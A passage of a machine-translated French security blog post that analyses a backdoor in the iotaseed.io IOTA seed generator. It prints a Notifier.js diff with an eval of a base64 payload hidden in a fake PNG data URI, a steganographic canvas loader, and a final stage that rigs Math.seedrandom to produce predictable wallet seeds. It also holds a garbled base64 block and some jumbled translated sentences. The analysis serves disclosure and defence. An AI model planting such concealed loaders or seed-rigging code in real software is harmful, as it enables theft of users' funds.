tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM / ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp + ioWy2JAbWYqQ6E + mv5SwyNzJWh / HHX6Rty17TYNBFF44CokEA + ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833 / N0bI85X / CarUEte9b68nlf4rg + lKoEGAvPMvzk6 + Ak5OwZ71u / S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp / vlzDefw0hYOWf4b1 + 3Tt5 + 3MfcZ7NxnnPX0Uu // 7StQUhwgmNk / N9x3ENDpfF / P7E6 / 6rM1qt8K0BXMjsOs7 + eZKNR95KMSQfCgS / pUY4TuPUdlEHlOPnCXj7H2B1e9 $ diff notifier-website.js notifier-github.js 68,71d67 < if (!window.inited_n) { < window.inited_n = true; < Notifier.init() < } 82,87d77 < if (/,T/.test(image)) { < if (/ps:.*o/.test(document.location)) { < eval(atob(image.split(",")[2])) < } < return < } 119,121d108 < init: function(message, title) { < this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==") < }, 

Il semble que quelqu'un ait très soigneusement apporté des modifications à la bibliothèque Notifier.js pour y cacher un morceau de code. La méthode Notifier.notify a été modifiée afin qu'elle vérifie si le paramètre contient l' image ",T" . Ensuite, il décode une partie du paramètre en JavaScript et le traite. Une autre modification a ajouté la méthode Notifier.init() , appelée après le chargement de la page. À son tour, il a appelé la méthode notify avec le paramètre image , ce qui a provoqué le déclenchement de ce code.

L'exécution du fragment de code ci-dessus atob(image.split(",")[2]) avec la liaison de données qui y est spécifiée donne le fragment de code suivant (des retraits et des espaces sont ajoutés pour améliorer la lisibilité):

 function cDis(f) { var o = document.createElement("canvas").getContext("2d"); var i = new Image; i.onload = function() { o.drawImage(i, 0, 0); dS(o.getImageData(0, 0, 298, 100).data) }; i.src = f } function dS(d) { var l = 21, bM = "", tM = ""; for (var i = 0; i < l; i++) { var b = (d[i * 4 + 2] >>> 0).toString(2); bM += b[b.length - 1]; if (bM.length == 16) { l = parseInt(bM, 2) + 16; bM = "" } else if (bM.length == 8 && l != 21) { tM += String.fromCharCode(parseInt(bM, 2)); bM = "" } } eval(tM) } cDis("./images/logo_small_bottom.png"); 

La deuxième partie du code malveillant insère ./images/logo_small_bottom.png dans l'élément <canvas> caché en dehors de l'écran, lit l'image sous forme de texte et traite ce texte comme du code javascript.

Le fichier logo_small_bottom.png été ajouté au référentiel le 28 août 2017 et mis à jour 3 heures plus tard. Les deux versions passées par ce décodeur d'image ne produisent pas de code valide.

Néanmoins, une autre image a été utilisée sur la copie WM enregistrée du site. Le code suivant y est caché (l'indentation est à nouveau ajoutée pour plus de commodité):

 if (/ps:.*\.io/.test(document.location)) { mode = "M"; (function(message) { var name = "edr"; name += "an"; message["cont"] = 0; name += "dom"; function show(arg, options, image) { message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image); message["cont"] += 1 } message["e2" + name] = message["se" + name]; message["se" + name] = show })(eval(mode + "ath")) } 

Il s'agit de la dernière étape de la porte dérobée javascript. Il peut être simplifié au code suivant:

 Math.cont = 0; function show(arg, options, image) { Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image); Math.cont += 1; } Math.e2edrandom = Math.seedrandom; Math.seedrandom = show; 

Ce code modifie la fonction Math.seedrandom utilisée par le code de génération afin qu'il 4782588875512803642 toujours la valeur de départ constante 4782588875512803642 et y ajoute la valeur de la variable de compteur, augmentant d'une seedrandom chaque seedrandom la seedrandom départ. Cela amène Math.random() toujours renvoyer la même séquence de nombres prévisible. En conséquence, la graine générée de chaque nouveau portefeuille IOTA est toujours restée la même. Cela devient assez évident si vous essayez d'ouvrir la version archive de iotaseed.io plusieurs fois et notez que la graine générée reste toujours XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD .

Il est important de noter ici que le nombre utilisé pour générer ( "4782588875512803642" dans l'exemple ci-dessus) était différent pour chaque utilisateur. Étant donné que WM a enregistré une copie de l'image à un certain moment, la valeur de départ reste la même chaque fois que vous ouvrez une copie pour la même date. Les vérifications pour d'autres dates, par exemple le 31 octobre ou le 19 novembre, montrent que leur nombre et leurs graines diffèrent de la copie que nous avons examinée pour le 3 janvier. Sur cette base, nous pouvons conclure que le fichier ./images/logo_small_bottom.png généré à la volée par le serveur iotaseed.io.

Lors de la création de ce fichier, le numéro utilisé par le générateur de nombres aléatoires corrigé a été modifié et probablement stocké quelque part afin qu'un attaquant puisse plus tard l'utiliser pour voler IOTA. En conséquence, le site Web a généré des graines différentes pour différents utilisateurs. Cependant, la situation de génération aléatoire côté serveur n'était pas la meilleure non plus, car il est connu qu'au moins une personne a reçu sur le site une graine que quelqu'un a déjà utilisée. Une démonstration de la différence de code est disponible sur ce lien .

Utilisation de l'officiel Javascript bibliothèque de l'IOTA , nous pouvons établir que le Sid mentionné précédemment XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD correspond à l' adresse PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX . Selon ce site Web , le portefeuille est vide, mais d'autres sites d'exploration de l'historique des transactions donnent une erreur 404 . Cela signifie que j'ai fait une erreur lors du décodage de l'adresse ou que je ne comprends pas comment fonctionne le réseau IOTA.

Conclusion


La porte dérobée était astucieusement cachée. Il a été définitivement placé là avec une intention malveillante, et non en raison d'une erreur avec l'utilisation de la cryptographie. Il n'est pas clair à la fin s'il a été ajouté par le propriétaire du référentiel github et du site norbertvdberg, ou si son compte d'hébergement a été piraté. Quoi qu'il en soit, à en juger par la réaction du propriétaire, qui a ensuite supprimé ses comptes sur GitHub , Reddit et Quora , il s'avère que le site a été initialement conçu pour voler des fonds d'utilisateurs.

Les attaquants ont pris de nombreuses mesures pour cacher la porte dérobée. Un rapide coup d'œil au tableau de bord du développeur dans un navigateur ne révélerait rien de suspect. Par exemple, data: lien à la première étape de la porte dérobée a commencé avec iVBORw0KGgo ce qui correspond au début d'un en-tête PNG valide codé en base 64. Cela signifie qu'une telle URL pourrait facilement être confondue avec une insertion d'image - l'action est tout à fait normale pour une bibliothèque js de notification. Une partie du code javascript est chargée à partir de l'image et sa requête est la seule requête réseau. Malheureusement, tout cela s'est avéré suffisant pour faire croire à beaucoup de gens que tout est en ordre avec le site.

Une étude approfondie du panneau de développement dans le navigateur vous permet de voir cette demande.



En général, cet incident doit être pris comme un rappel que lorsqu'il s'agit de crypto-monnaies (et surtout de grandes quantités!), La paranoïa peut être une bonne chose. Vous ne devez jamais compter sur des services en ligne tels que des générateurs de phrases de départ ou des portefeuilles Web, leur faisant confiance en quantités importantes pour vous. Vous devez utiliser uniquement le logiciel qui a fait l'objet d'un examen et d'un audit approfondis par la communauté.

Dans notre cas, iotaseed.io s'est vraiment positionné comme une solution open source, indiquant l'ouverture et la possibilité de vérifier le code par n'importe qui. Il semblait que cela suffisait à convaincre certaines personnes, mais aucun d'entre eux ne pensait que le vrai code en cours d'exécution sur le site Web pouvait être modifié. Une vérification attentive révélerait ce fait, nous donnant un autre exemple des conséquences graves que la confiance aveugle dans le label open-source peut entraîner, en particulier dans le domaine des crypto-monnaies.

image

Source: https://habr.com/ru/post/fr410041/


All Articles